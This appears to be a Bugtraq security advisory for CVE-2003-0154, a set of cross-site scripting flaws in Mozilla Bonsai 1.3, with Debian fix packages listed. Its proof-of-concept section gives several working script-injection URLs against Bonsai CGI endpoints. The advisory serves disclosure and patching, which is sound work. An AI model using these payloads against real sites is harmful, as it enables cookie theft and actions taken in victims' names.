Mozilla Bonsai Multiple Cross Site Scripting Vulnerabilities
BID:5516
Info
Mozilla Bonsai Multiple Cross Site Scripting Vulnerabilities
| Bugtraq ID: | 5516 |
| Class: | Input Validation Error |
| CVE: |
CVE-2003-0154 |
| Remote: | Yes |
| Local: | No |
| Published: | Aug 20 2002 12:00AM |
| Updated: | Jul 11 2009 03:56PM |
| Credit: | Discovery credited to Stan Bubrouski <[email protected]>. |
| Vulnerable: |
Mozilla Bonsai 1.3 |
| Not Vulnerable: | |
Discussion
Mozilla Bonsai Multiple Cross Site Scripting Vulnerabilities
Multiple cross site scripting vulnerabilities have been reported for the Bonsai tool.
An attacker may exploit this vulnerability by causing a victim user to follow a malicious link. Attacker-supplied code may execute within the context of the site hosting the vulnerable software when the malicious link is visited.
This type of vulnerability may be used to steal cookies or perform other web-based attacks. It may be possible to take actions as an user of the Bonsai system.
Multiple cross site scripting vulnerabilities have been reported for the Bonsai tool.
An attacker may exploit this vulnerability by causing a victim user to follow a malicious link. Attacker-supplied code may execute within the context of the site hosting the vulnerable software when the malicious link is visited.
This type of vulnerability may be used to steal cookies or perform other web-based attacks. It may be possible to take actions as an user of the Bonsai system.
Exploit / POC
Mozilla Bonsai Multiple Cross Site Scripting Vulnerabilities
The following proof of concepts have been provided by Stan Bubrouski <[email protected]>:
/webtools/bonsai/cvslog.cgi?file=*&rev=&root=<script>alert(document.domain)</script>
/webtools/bonsai/cvslog.cgi?file=<script>alert(document.domain)</script>
/webtools/bonsai/cvsblame.cgi?file=/index.html&root=<script>alert(document.domain)</script>
/webtools/bonsai/cvsblame.cgi?file=<script>alert(document.domain)</script>
/cvsquery.cgi?branch=<script>alert(document.domain)</script>&file=<script>alert(document.domain)</script>
&date=<script>alert(document.domain)</script>
/cvsquery.cgi?module=<script>alert(document.domain)</script>&branch=&dir=&file=
&who=<script>alert(document.domain)</script>&sortby=Date&hours=2&date=week
/showcheckins.cgi?person=<script>alert(document.domain)</script>
/cvsqueryform.cgi?cvsroot=/cvsroot&module=<script>alert(document.domain)</script>&branch=HEAD
The following proof of concepts have been provided by Stan Bubrouski <[email protected]>:
/webtools/bonsai/cvslog.cgi?file=*&rev=&root=<script>alert(document.domain)</script>
/webtools/bonsai/cvslog.cgi?file=<script>alert(document.domain)</script>
/webtools/bonsai/cvsblame.cgi?file=/index.html&root=<script>alert(document.domain)</script>
/webtools/bonsai/cvsblame.cgi?file=<script>alert(document.domain)</script>
/cvsquery.cgi?branch=<script>alert(document.domain)</script>&file=<script>alert(document.domain)</script>
&date=<script>alert(document.domain)</script>
/cvsquery.cgi?module=<script>alert(document.domain)</script>&branch=&dir=&file=
&who=<script>alert(document.domain)</script>&sortby=Date&hours=2&date=week
/showcheckins.cgi?person=<script>alert(document.domain)</script>
/cvsqueryform.cgi?cvsroot=/cvsroot&module=<script>alert(document.domain)</script>&branch=HEAD
Solution / Fix
Mozilla Bonsai Multiple Cross Site Scripting Vulnerabilities
Solution:
Fixes available:
Mozilla Bonsai 1.3
Solution:
Fixes available:
Mozilla Bonsai 1.3
-
Debian bonsai_1.3+cvs20020224-1woody1_alpha.deb
http://security.debian.org/pool/updates/main/b/bonsai/bonsai_1.3+cvs20 020224-1woody1_alpha.deb -
Debian bonsai_1.3+cvs20020224-1woody1_arm.deb
http://security.debian.org/pool/updates/main/b/bonsai/bonsai_1.3+cvs20 020224-1woody1_arm.deb -
Debian bonsai_1.3+cvs20020224-1woody1_hppa.deb
http://security.debian.org/pool/updates/main/b/bonsai/bonsai_1.3+cvs20 020224-1woody1_hppa.deb -
Debian bonsai_1.3+cvs20020224-1woody1_i386.deb
http://security.debian.org/pool/updates/main/b/bonsai/bonsai_1.3+cvs20 020224-1woody1_i386.deb -
Debian bonsai_1.3+cvs20020224-1woody1_ia64.deb
http://security.debian.org/pool/updates/main/b/bonsai/bonsai_1.3+cvs20 020224-1woody1_ia64.deb -
Debian bonsai_1.3+cvs20020224-1woody1_m68k.deb
http://security.debian.org/pool/updates/main/b/bonsai/bonsai_1.3+cvs20 020224-1woody1_m68k.deb -
Debian bonsai_1.3+cvs20020224-1woody1_mips.deb
http://security.debian.org/pool/updates/main/b/bonsai/bonsai_1.3+cvs20 020224-1woody1_mips.deb -
Debian bonsai_1.3+cvs20020224-1woody1_mipsel.deb
http://security.debian.org/pool/updates/main/b/bonsai/bonsai_1.3+cvs20 020224-1woody1_mipsel.deb -
Debian bonsai_1.3+cvs20020224-1woody1_powerpc.deb
http://security.debian.org/pool/updates/main/b/bonsai/bonsai_1.3+cvs20 020224-1woody1_powerpc.deb -
Debian bonsai_1.3+cvs20020224-1woody1_s390.deb
http://security.debian.org/pool/updates/main/b/bonsai/bonsai_1.3+cvs20 020224-1woody1_s390.deb -
Debian bonsai_1.3+cvs20020224-1woody1_sparc.deb
http://security.debian.org/pool/updates/main/b/bonsai/bonsai_1.3+cvs20 020224-1woody1_sparc.deb